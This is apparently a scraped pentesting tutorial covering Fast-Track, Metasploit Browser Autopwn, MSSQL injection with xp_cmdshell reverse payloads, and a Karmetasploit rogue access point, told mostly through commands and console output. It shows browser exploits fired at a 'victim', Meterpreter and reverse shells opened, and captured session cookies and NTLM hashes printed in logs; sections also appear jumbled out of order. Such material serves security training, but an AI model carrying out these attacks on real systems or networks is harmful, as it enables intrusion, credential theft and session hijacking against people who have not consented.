3 minutes... Version: v4.0 Written by: David Kennedy (ReL1K) http://www.thepentest.com 1. Fast-Track Updates 2. Autopwn Automation 3. Microsoft SQL Tools 4. Mass Client-Side Attack 5. Exploits 6. Binary to Hex Payload Converter 7. Payload Generator 8. Fast-Track Tutorials 9. Fast-Track Changelog 10. Fast-Track Credits 11. Exit Enter the number: Lastly, Web Gui Mode is launched by running './fast-track.py -g'. By default, the web server will start listening on port 44444 but you can change it by passing a different port number on the command line. root@bt4:/pentest/exploits/fasttrack# ./fast-track.py -g 31337 **************************************** Fast-Track Web GUI Front-End Starting HTTP Server on 127.0.0.1 port 31337 *** Open a browser and go to http://127.0.0.1:31337 *** Type -c to exit.. We'll be focusing primarily on the interactive mode functionality. The rest of the modes are easy to understand once you understand each of the tools in interactive mode. MSF Extended Usage The Metasploit Framework is such a versatile asset in every pentesters toolkit, it is no shock to see it being expanded on constantly. Due to the openness of the Framework, as new technologies and exploits surface they are very rapidly incorporated into the msf svn trunk or end users write their own modules and share them as they see fit. We will be talking about Browser Autopwn, Karmetasploit, and targeting Mac OS X. Browser Autopwn At defcon 17, Metasploit developer Egypt unveiled Browser Autopwn for MSF. This exciting new module performs browser fingerprinting prior to launching exploits at the victim. Therefore, if the remote PC is using Internet Explorer 6, it will not launch IE7 exploits at it. The slide deck for Egypt's presentation is available for your reading pleasure at http://defcon.org/images/defcon-17/dc- 17-presentations/defcon-17-egypt-guided_missiles_metasploit.pdf. The setup for the 'server/browser_autopwn' module is extremely simple as shown below. msf > use server/browser_autopwn msf auxiliary(browser_autopwn) > show options LHOST 192.168.1.101 yes The IP address to use for reverse-connect payloads SRVPORT 8080 yes The local port to listen on. URIPATH no The URI to use for this exploit (default is random) msf auxiliary(browser_autopwn) > set uripath / uripath => / msf auxiliary(browser_autopwn) > That's really all there is to the required configuration. Now let's run it and see what it does. msf auxiliary(browser_autopwn) > run [*] Starting exploit modules on host 192.168.1.101... [*] --- [*] Starting exploit multi/browser/firefox_escape_retval with payload generic/shell_reverse_tcp [*] Using URL: http://0.0.0.0:8080/zCtg7oC [*] Local IP: http://192.168.1.101:8080/zCtg7oC [*] Starting exploit multi/browser/mozilla_compareto with payload generic/shell_reverse_tcp [*] Using URL: http://0.0.0.0:8080/vTNGJx [*] Local IP: http://192.168.1.101:8080/vTNGJx [*] Starting exploit multi/browser/mozilla_navigatorjava with payload generic/shell_reverse_tcp [*] Using URL: http://0.0.0.0:8080/abmR33jxStsF7 [*] Local IP: http://192.168.1.101:8080/abmR33jxStsF7 [*] Starting exploit multi/browser/opera_configoverwrite with payload generic/shell_reverse_tcp [*] Using URL: http://0.0.0.0:8080/RdDDhKANpV [*] Local IP: http://192.168.1.101:8080/RdDDhKANpV [*] --- Done, found 11 exploit modules [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.1.101:8080/ Now all we need to do is get some poor victim to navigate to our malicious website and when they do, Browser Autopwn will target their browser based on its version. [*] Request '/' from 192.168.1.128:1767 [*] Request '/?sessid=V2luZG93czpYUDp1bmRlZmluZWQ6ZW4tdXM6eDg2Ok1TSUU6Ni4wO1NQMjo=' from 192.168.1.128:1767 [*] JavaScript Report: Windows:XP:undefined:en-us:x86:MSIE:6.0;SP2: [*] No database, using targetcache instead [*] Responding with exploits [*] Sending Internet Explorer COM CreateObject Code Execution exploit HTML to 192.168.1.128:1774... [*] Sending Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability to 192.168.1.128:1775... [*] Sending Microsoft Internet Explorer Data Binding Memory Corruption init HTML to 192.168.1.128:1774... [*] Sending EXE payload to 192.168.1.128:1775... [*] Meterpreter session 1 opened (192.168.1.101:62360 -> 192.168.1.128:1798) msf auxiliary(browser_autopwn) > sessions -l 1 Meterpreter 192.168.1.101:62360 -> 192.168.1.128:1798 msf auxiliary(browser_autopwn) > sessions -i 1 Computer: XP-SP2-BARE OS : Windows XP (Build 2600, Service Pack 2). meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 00:0c:29:41:f2:e8 IP Address : 192.168.1.128 Netmask : 255.255.0.0 Very slick operation! And it's not just limited to Internet Explorer. Even Firefox can be abused. [*] Request '/' from 192.168.1.112:1122 [*] Request '/?sessid=V2luZG93czpYUDp1bmRlZmluZWQ6ZnItRlI6eDg2OkZpcmVmb3g6MTo=' from 192.168.1.112:1122 [*] JavaScript Report: Windows:XP:undefined:fr-FR:x86:Firefox:1: [*] Request '/favicon.ico' from 192.168.1.112:1123 [*] 404ing /favicon.ico [*] Sending Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution to 192.168.1.112:1124... [*] Sending Mozilla Suite/Firefox Navigator Object Code Execution to 192.168.1.112:1125... [*] Sending Firefox 3.5 escape() Return Value Memory Corruption to 192.168.1.112:1123... [*] Sending Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution to 192.168.1.112:1125... [*] Command shell session 3 opened (192.168.1.101:56443 -> 192.168.1.112:1126) msf auxiliary(browser_autopwn) > sessions -i 3 [*] Starting interaction with 3... C:\Program Files\Mozilla Firefox>hostname hostname dookie-fa154354 C:\Program Files\Mozilla Firefox>ipconfig Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : dookie IP Address. . . . . . . . . . . . : 192.168.1.112 Subnet Mask . . . . . . . . . . . : 255.255.0.0 Default Gateway . . . . . . . . . : 192.168.1.1 C:\Program Files\Mozilla Firefox> From the Fast-Track Interactive mode menu, there are a lot of options here to aid you in a penetration test. First things first, Fast-Track allows you to stay up-to-date with the latest and greatest tools. Fast-Track will automatically update Fast-Track, Metasploit, Aircrack-NG, W3Af, Nikto, Milw0rm Exploits, Kismet-Newcore, and SQLMap. To update all of these tools, simply navigate to the updates menu and select which ones you want to update, or update everything. Enter the number: 1 Fast-Track Updates Enter a number to update 1. Update Fast-Track 2. Metasploit 3 Update 3. Aircrack-NG Update 4. Nikto Plugin Update 5. W3AF Update 6. SQLMap Update 7. Installation Menu 8. Update Milw0rm Exploits 9. Update Kismet-Newcore 10. Update Everything 11. Return to Main Menu Enter number: 10 Note this DOES NOT install prereqs, please go to the installation menu for that. Updating Fast-Track, Metasploit, Aircrack-NG, Nikto, W3AF, Milw0rm, Kismet-NewCore and SQL Map **** Update complete ***** Returning to main menu.... Ensure you frequently update Fast-Track, as continuous improvements are being made. Let's dive down into the different attack vectors that Fast-Track has available in its arsenal. We can combine what we've learned so far to create an update one liner: root@bt4:/pentest/exploits/fasttrack# ./fast-track.py -c 1 2 Note this DOES NOT install prereqs, please go to the installation menu for that. Updating Fast-Track, Metasploit, Aircrack-NG, Nikto, W3AF, Kismet-NewCore and SQL Map. Karmetasploit Karmetasploit is a great function within Metasploit, allowing you to fake access points, capture passwords, harvest data, and conduct browser attacks against clients. The MSSQL Injector utilizes some advanced techniques in order to ultimately gain full unrestricted access to the underlying system. This section requires someone to already know where SQL Injection is on a given site. Once this is specified, Fast-Track can do the work for you and exploit the system. Note that this will only work on Microsoft SQL back-end to a web application. Fast-Track - Where it's OK to finish in under 3 minutes... Version: v4.0 Written by: David Kennedy (ReL1K) http://www.securestate.com http://www.thepentest.com 1. Fast-Track Updates 2. Autopwn Automation 3. Microsoft SQL Tools 4. Mass Client-Side Attack 5. Exploits 6. Binary to Hex Payload Converter 7. Payload Generator 8. Fast-Track Tutorials 9. Fast-Track Changelog 10. Fast-Track Credits 11. Exit Enter the number: 3 Microsoft SQL Attack Tools Pick a list of the tools from below: 1. MSSQL Injector 2. MSSQL Bruter 3. SQLPwnage Enter your choice : 1 Enter which SQL Injector you want to use 1. SQL Injector - Query String Parameter Attack 2. SQL Injector - POST Parameter Attack 3. SQL Injector - GET FTP Payload Attack 4. SQL Injector - GET Manual Setup Binary Payload Attack Enter your choice: Notice the different sub-menus that are available. We'll walk through each one and explain its purpose. The 'SQL Injector - Query String Parameter Attack' specifically targets vulnerable query string parameters within a website. Query strings are represented as follows: ?querystring1=value1&querystring2=value2 and injection often occurs where value1 and value2 are located. Let's browse to a vulnerable site: Note the query string parameters on top: logon and password. Let's throw a single quote in the 'login' query string parameter. Now that we know that the login field is susceptible to SQL Injection, we need to tell Fast-Track where to actually go to launch the attack. We do this by specifying 'INJECTHERE in place of the injectable parameter in the query string. This will let Fast-Track know what we want to attack. Look at the below output and the ultimate result. Enter which SQL Injector you want to use 1. SQL Injector - Query String Parameter Attack 2. SQL Injector - POST Parameter Attack 3. SQL Injector - GET FTP Payload Attack 4. SQL Injector - GET Manual Setup Binary Payload Attack ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Requirements: PExpect This module uses a reverse shell by using the binary2hex method for uploading. It does not require FTP or any other service, instead we are using the debug function in Windows to generate the executable. You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE So for example, when the tool asks you for the SQL Injectable URL, type: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter Example:http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah Enter here: http://10.211.55.128/Default.aspx?login='INJECTHERE&password=blah Sending initial request to enable xp_cmdshell if disabled.... Sending first portion of payload (1/4).... Sending second portion of payload (2/4).... Sending third portion of payload (3/4)... Sending the last portion of the payload (4/4)... Running cleanup before executing the payload... Running the payload on the server...Sending initial request to enable xp_cmdshell if disabled.... Running the payload on the server... listening on [any] 4444 ... connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041 Fast-Track automatically re-enables the 'xp_cmdshell' stored procedure if it is disabled and delivers a reverse payload to the system, ultimately giving us full access all through SQL Injection! This was a great example of how to attack query string parameters, but what about forms? Post parameters can also be handled through Fast-Track and very easily at that. In the Fast-Track 'MSSQL Injector' menu, select 'SQL Injector - POST Parameter Attack'. This portion allows you to attack all forms on a specific website without having to specify each parameter. Just type the URL in, and Fast-Track will auto SQL inject to each parameter looking for both error based injection as well as blind based SQL injection. Simply type the website you want to attack, and let it roll. Example: http://www.sqlinjectablesite.com/index.aspx Enter the URL to attack: http://10.211.55.128/Default.aspx Forms detected...attacking the parameters in hopes of exploiting SQL Injection.. Sending payload to parameter: txtLogin Sending payload to parameter: txtPassword [-] The PAYLOAD is being delivered. This can take up to two minutes. [-] Not to quote Office Max, but that was easy! Fast-Track automatically detects the forms and attacks the system for SQL Injection, ultimately giving you access to the box. If for some reason the query string parameter attack was unsuccessful, you can use the 'SQL Injector - GET FTP Payload Attack'. This requires that you install ProFTPD, and is rarely used. This module will setup a payload through FTP echo files and ultimately deliver the payload through FTP and SQL Injection. The 'SQL Injector - GET Manual Setup Binary Payload Attack' can be used if you're attacking from one machine but have a listener on another machine. This is often used if you're NATed and you have a listener box set up on the internet and not on the system you're attacking from. Enter your choice: 4 The manual portion allows you to customize your attack for whatever reason. Example: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah Enter the IP Address of server with NetCat Listening: 10.211.55.130 Enter Port number with NetCat listening: 9090 Sending first portion of payload.... Sending second portion of payload.... Sending next portion of payload... Sending the last portion of the payload... Running cleanup... listening on [any] 9090 ... 10.211.55.128: inverse host lookup failed: Unknown server error : Connection timed out connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1045 Configuration There is a bit of setup required to get Karmetasploit up and going. The first step is to obtain the run control file for Karmetasploit: root@bt4:/pentest/exploits/framework3# wget "http://metasploit.com/users/hdm/tools/karma.rc" --2009-05-04 18:43:26-- http://metasploit.com/users/hdm/tools/karma.rc Resolving metasploit.com... 66.240.213.81 Connecting to metasploit.com|66.240.213.81|:80... connected. Length: 1088 (1.1K) [text/plain] Saving to: `karma.rc' 100%[============================================================================>] 1,088 --.-K/s in 0s 2009-05-04 18:43:27 (88.7 MB/s) - `karma.rc' saved [1088/1088] Having obtained that requirement, we need to set up a bit of the infrastructure that will be required. When clients attach to the fake AP we run, they will be expecting to be assigned an IP address. As such, we need to put a DHCP server in place. Let's configure our 'dhcpd.conf' file. root@bt4:/pentest/exploits/framework3# cat /etc/dhcp3/dhcpd.conf option domain-name-servers 10.0.0.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 10.0.0.1; Then we need to install a couple of requirements. root@bt4:~# gem install activerecord sqlite3-ruby Successfully installed activerecord-2.3.2 Building native extensions. This could take a while... Successfully installed sqlite3-ruby-1.2.4 2 gems installed Installing ri documentation for activerecord-2.3.2... Installing ri documentation for sqlite3-ruby-1.2.4... Installing RDoc documentation for activerecord-2.3.2... Installing RDoc documentation for sqlite3-ruby-1.2.4... Now we are ready to go. First off, we need to restart our wireless adapter in monitor mode. To do so, we first stop the interface, then use airmon-ng to restart it in monitor mode. Then, we utilize airbase-ng to start a new network. root@bt4:~# airmon-ng Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) root@bt4:~# airmon-ng stop ath0 ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed) root@bt4:~# airmon-ng start wifi0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! -e PID Name 5636 NetworkManager 5641 wpa_supplicant 5748 dhclient3 wifi0 Atheros madwifi-ngError for wireless request "Set Frequency" (8B04) : SET failed on device ath0 ; No such device. ath0: ERROR while getting interface flags: No such device ath1 Atheros madwifi-ng VAP (parent: wifi0) root@bt4:~# airbase-ng -P -C 30 -e "U R PWND" -v ath1 For information, no action required: Using gettimeofday() instead of /dev/rtc 22:52:25 Created tap interface at0 22:52:25 Trying to set MTU on at0 to 1500 22:52:25 Trying to set MTU on ath1 to 1800 22:52:25 Access Point with BSSID 00:1A:4D:49:0B:26 started. Airbase-ng has created a new interface for us, at0. This is the interface we will now utilize. We will now assign ourselves an IP address and start up our DHCP server listening on our new interface. root@bt4:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 root@bt4:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 Internet Systems Consortium DHCP Server V3.1.1 Copyright 2004-2008 Internet Systems Consortium. All rights reserved. For info, please visit http://www.isc.org/sw/dhcp/ Wrote 0 leases to leases file. Listening on LPF/at0/00:1a:4d:49:0b:26/10.0.0/24 Sending on LPF/at0/00:1a:4d:49:0b:26/10.0.0/24 Sending on Socket/fallback/fallback-net Can't create PID file /var/run/dhcpd.pid: Permission denied. root@bt4:~# ps aux | grep dhcpd dhcpd 6490 0.0 0.1 3812 1840 ? Ss 22:55 0:00 dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 root 6493 0.0 0.0 3232 788 pts/0 S+ 22:55 0:00 grep dhcpd Karmetasploit in Action Now, with everything ready, all that is left is to run Karmetasploit! We start up Metasploit, feeding it our run control file. root@bt4:/pentest/exploits/framework3# ./msfconsole -r karma.rc _ | | o _ _ _ _ _|_ __, , _ | | __ _|_ / |/ |/ | |/ | / | / _|/ _|/ / _| | | | |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/ /| | + -- --=[ 372 exploits - 234 payloads [-] integrated into the core command set. Use the new 'db_driver' [-] is now the default). All of the old commands are the same. resource> setg AUTOPWN_PORT 55550 AUTOPWN_PORT => 55550 resource> setg AUTOPWN_URI /ads AUTOPWN_URI => /ads resource> set LHOST 10.0.0.1 [*] Using URL: http://0.0.0.0:55550/hzr8QG95C [*] Local IP: http://192.168.2.2:55550/hzr8QG95C msf auxiliary(http) > At this point, we are up and running. All that is required now is for a client to connect to the fake access point. When they connect, they will see a fake "captive portal" style screen regardless of what website they try to connect to. You can look through your output, and see that a wide number of different servers are started. From DNS, POP3, IMAP, to various HTTP servers, we have a wide net now cast to capture various bits of information. Now lets see what happens when a client connects to the fake AP we have set up. [*] DNS 10.0.0.100:1276 XID 87 (IN::A www.msn.com) [*] HTTP REQUEST 10.0.0.100 > www.msn.com:80 GET / Windows IE 5.01 cookies=MC1=V=3&GUID=e2eabc69be554e3587acce84901a53d3; MUID=E7E065776DBC40099851B16A38DB8275; mh=MSFT; CULTURE=EN-US; zip=z:68101|la:41.26|lo:-96.013|c:US|hr:1; FlightGroupId=14; FlightId=BasePage; hpsvr=M:5|F:5|T:5|E:5|D:blu|W:F; hpcli=W.H|L.|S.|R.|U.L|C.|H.; ushpwea=wc:USNE0363; wpv=2 [*] DNS 10.0.0.100:1279 XID 88 (IN::A adwords.google.com) [*] DNS 10.0.0.100:1280 XID 89 (IN::A blogger.com) [*] DNS 10.0.0.100:1289 XID 95 (IN::A gmail.com) [*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google.com) [*] Request '/ads' from 10.0.0.100:1278 [*] Recording detection from User-Agent [*] Browser claims to be MSIE 5.01, running on Windows 2000 [*] DNS 10.0.0.100:1293 XID 97 (IN::A google.com) [*] Error: SQLite3::SQLException cannot start a transaction within a transaction /usr/lib/ruby/1.8/sqlite3/errors.rb:62:in `check'/usr/lib/ruby/1.8/sqlite3/resultset.rb:47:in `check'/usr/lib/ruby/1.8/sqlite3/resultset.rb:39:in `commence'/usr/lib/ruby/1.8/sqlite3 [*] HTTP REQUEST 10.0.0.100 > ecademy.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > facebook.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > gather.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > gmail.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > gmail.google.com:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY-zgcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8 [*] HTTP REQUEST 10.0.0.100 > google.com:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY-zgcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8 [*] HTTP REQUEST 10.0.0.100 > linkedin.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > livejournal.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > monster.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > myspace.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > plaxo.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > ryze.com:80 GET /forms.html Windows IE 5.01 cookies= [*] Sending MS03-020 Internet Explorer Object Type to 10.0.0.100:1278... [*] HTTP REQUEST 10.0.0.100 > slashdot.org:80 GET /forms.html Windows IE 5.01 cookies= [*] Received 10.0.0.100:1360 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0 [*] HTTP REQUEST 10.0.0.100 > www.monster.com:80 GET /forms.html Windows IE 5.01 cookies= [*] Received 10.0.0.100:1362 TARGET\P0WN3D LMHASH:47a8cfba21d8473f9cc1674cedeba0fa6dc1c2a4dd904b72 NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bdfc19 OS:Windows 2000 2195 LM:Windows 2000 5.0 [*] Authenticating to 10.0.0.100 as TARGET\P0WN3D... [*] HTTP REQUEST 10.0.0.100 > www.myspace.com:80 GET /forms.html Windows IE 5.01 cookies= [*] AUTHENTICATED as TARGETP0WN3D... [*] Connecting to the ADMIN$ share... [*] HTTP REQUEST 10.0.0.100 > www.plaxo.com:80 GET /forms.html Windows IE 5.01 cookies= [*] Regenerating the payload... [*] Uploading payload... [*] HTTP REQUEST 10.0.0.100 > www.ryze.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.slashdot.org:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.twitter.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.xing.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > xing.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET /forms.html Windows IE 5.01 cookies= [*] Created UxsjordQ.exe... [*] HTTP REQUEST 10.0.0.100 > ziggs.com:80 GET /forms.html Windows IE 5.01 cookies= [*] Connecting to the Service Control Manager... [*] HTTP REQUEST 10.0.0.100 > care.com:80 GET / Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.gather.com:80 GET /forms.html Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.ziggs.com:80 GET /forms.html Windows IE 5.01 cookies= [*] Obtaining a service manager handle... [*] Creating a new service... [*] Closing service handle... [*] Opening service... [*] Removing the service... [*] Deleting UxsjordQ.exe... [*] Sending Access Denied to 10.0.0.100:1362 TARGET\P0WN3D [*] Received 10.0.0.100:1362 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0 [*] Sending Access Denied to 10.0.0.100:1362 [*] Received 10.0.0.100:1365 TARGET\P0WN3D LMHASH:3cd170ac4f807291a1b90da20bb8eb228cf50aaf5373897d NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1f4cd OS:Windows 2000 2195 LM:Windows 2000 5.0 [*] Ignoring request from 10.0.0.100, attack already in progress. [*] Sending Access Denied to 10.0.0.100:1365 TARGET\P0WN3D [*] Sending Apple QuickTime 7.1.3 RTSP URI Buffer Overflow to 10.0.0.100:1278... [*] Sending iPhone MobileSafari LibTIFF Buffer Overflow to 10.0.0.100:1367... [*] HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET / Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET / Windows IE 5.01 cookies= [*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET / Windows IE 5.01 cookies= [*] Migrating to lsass.exe... [*] Current server process: rundll32.exe (848) [*] New server process: lsass.exe (232) [*] Meterpreter session 1 opened (10.0.0.1:45017 -> 10.0.0.100:1364) msf auxiliary(http) > sessions -l 1 Meterpreter 10.0.0.1:45017 -> 10.0.0.100:1364 Attack Analysis Wow! That was a lot of output! Please take some time to read through the output, and try to understand what is happening. Let's break down some of the output a bit here. [*] DNS 10.0.0.100:1284 XID 92 (IN::A ecademy.com) [*] DNS 10.0.0.100:1286 XID 93 (IN::A facebook.com) [*] DNS 10.0.0.100:1287 XID 94 (IN::A gather.com) Here we see DNS lookups which are occurring. Most of these are initiated by Karmetasploit in attempts to gather information from the client. [*] HTTP REQUEST 10.0.0.100 > gmail.google.com:80 GET /forms.html Windows IE 5.01 cook ies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880: S=snePRUjY-zgcXpEV;NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6h I1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8 [*] HTTP REQUEST 10.0.0.100 > google.com:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880: S=snePRUjY-zgcXpEV;NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4e FCH6hI1ae23g hwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8 Here we can see Karmetasploit collecting cookie information from the client. This could be useful information to use in attacks against the user later on. [*] AUTHENTICATED as TARGET\P0WN3D... Here is where it gets really interesting! We have obtained the password hashes from the system, which can then be used to identify the actual passwords. This is followed by the creation of a Meterpreter session. Now we have access to the system, lets see what we can do with it. msf auxiliary(http) > sessions -i 1 144 smss.exe \SystemRoot\System32\smss.exe 172 csrss.exe \??\C:\WINNT\system32\csrss.exe 192 winlogon.exe \??\C:\WINNT\system32\winlogon.exe 220 services.exe C:\WINNT\system32\services.exe 232 lsass.exe C:\WINNT\system32\lsass.exe 284 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe 300 KodakImg.exe C:\Program Files\Windows NT\Accessories\ImageVueKodakImg.exe 396 svchost.exe C:\WINNT\system32\svchost.exe 416 spoolsv.exe C:\WINNT\system32\spoolsv.exe 452 svchost.exe C:\WINNT\System32\svchost.exe 488 regsvc.exe C:\WINNT\system32\regsvc.exe 512 MSTask.exe C:\WINNT\system32\MSTask.exe 568 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe 632 WinMgmt.exe C:\WINNT\System32\WBEM\WinMgmt.exe 696 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 760 Explorer.exe C:\WINNT\Explorer.exe 832 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 848 rundll32.exe C:\WINNT\system32\rundll32.exe 860 VMwareUser.exe C:\Program Files\VMware\VMware Tool\VMwareUser.exe 884 RtWLan.exe C:\Program Files\ASUS WiFi-AP Solo\RtWLan.exe 916 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe 952 SCardSvr.exe C:\WINNT\System32\SCardSvr.exe 1168 IEXPLORE.EXE C:\Program Files\Internet Explorer\IEXPLORE.EXE meterpreter > ipconfig /all VMware Accelerated AMD PCNet Adapter Hardware MAC: 00:0c:29:85:81:55 IP Address : 0.0.0.0 Netmask : 0.0.0.0 Realtek RTL8187 Wireless LAN USB NIC Hardware MAC: 00:c0:ca:1a:e7:d4 IP Address : 10.0.0.100 Netmask : 255.255.255.0 C:\WINNT\system32 Wonderful. Just like any other vector, our Meterperter session is working just as we expected. However, there can be a lot that happens in Karmetasploit really fast and making use of the output to standard out may not be usable. Let's look at another way to access the logged information. We will interact with the karma.db that is created in your home directory. Lets open it with sqlite, and dump the schema. root@bt4:~# sqlite3 karma.db SQLite version 3.5.9 Enter ".help" for instructions sqlite> .schema CREATE TABLE hosts ( 'id' INTEGER PRIMARY KEY NOT NULL, 'created' TIMESTAMP, 'address' VARCHAR(16) UNIQUE, 'comm' VARCHAR(255), 'name' VARCHAR(255), 'state' VARCHAR(255), 'desc' VARCHAR(1024), 'os_name' VARCHAR(255), 'os_flavor' VARCHAR(255), 'os_sp' VARCHAR(255), 'os_lang' VARCHAR(255), 'arch' VARCHAR(255) ); CREATE TABLE notes ( 'host_id' INTEGER, 'ntype' VARCHAR(512), 'data' TEXT CREATE TABLE refs ( 'ref_id' INTEGER, 'name' VARCHAR(512) CREATE TABLE reports ( 'target_id' INTEGER, 'parent_id' INTEGER, 'entity' VARCHAR(50), 'etype' VARCHAR(50), 'value' BLOB, 'notes' VARCHAR, 'source' VARCHAR, 'created' TIMESTAMP CREATE TABLE requests ( 'host' VARCHAR(20), 'port' INTEGER, 'ssl' INTEGER, 'meth' VARCHAR(20), 'path' BLOB, 'headers' BLOB, 'query' BLOB, 'body' BLOB, 'respcode' VARCHAR(5), 'resphead' BLOB, 'response' BLOB, CREATE TABLE services ( 'port' INTEGER NOT NULL, 'proto' VARCHAR(16) NOT NULL, 'desc' VARCHAR(1024) CREATE TABLE targets ( 'selected' INTEGER CREATE TABLE vulns ( 'service_id' INTEGER, 'name' VARCHAR(1024), CREATE TABLE vulns_refs ( 'vuln_id' INTEGER With the information gained from the schema, let's interact with the data we have gathered. First, we will list all the systems that we logged information from, then afterward, dump all the information we gathered while they were connected. sqlite> select * from hosts; 1|2009-05-09 23:47:04|10.0.0.100|||alive||Windows|2000|||x86 sqlite> select * from notes where host_id = 1; 1|2009-05-09 23:47:04|1|http_cookies|en-us.start2.mozilla.com __utma=183859642.1221819733.1241334886.1241334886.1241334886.1; __utmz=183859642.1241334886.1.1.utmccn=(organic)|utmcsr=google|utmctr=firefox|utmcmd=organic 2|2009-05-09 23:47:04|1|http_request|en-us.start2.mozilla.com:80 GET /firefox Windows FF 1.9.0.10 3|2009-05-09 23:47:05|1|http_cookies|adwords.google.com PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-p5nGxSz_oh1inss; NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq 4|2009-05-09 23:47:05|1|http_request|adwords.google.com:80 GET /forms.html Windows FF 1.9.0.10 5|2009-05-09 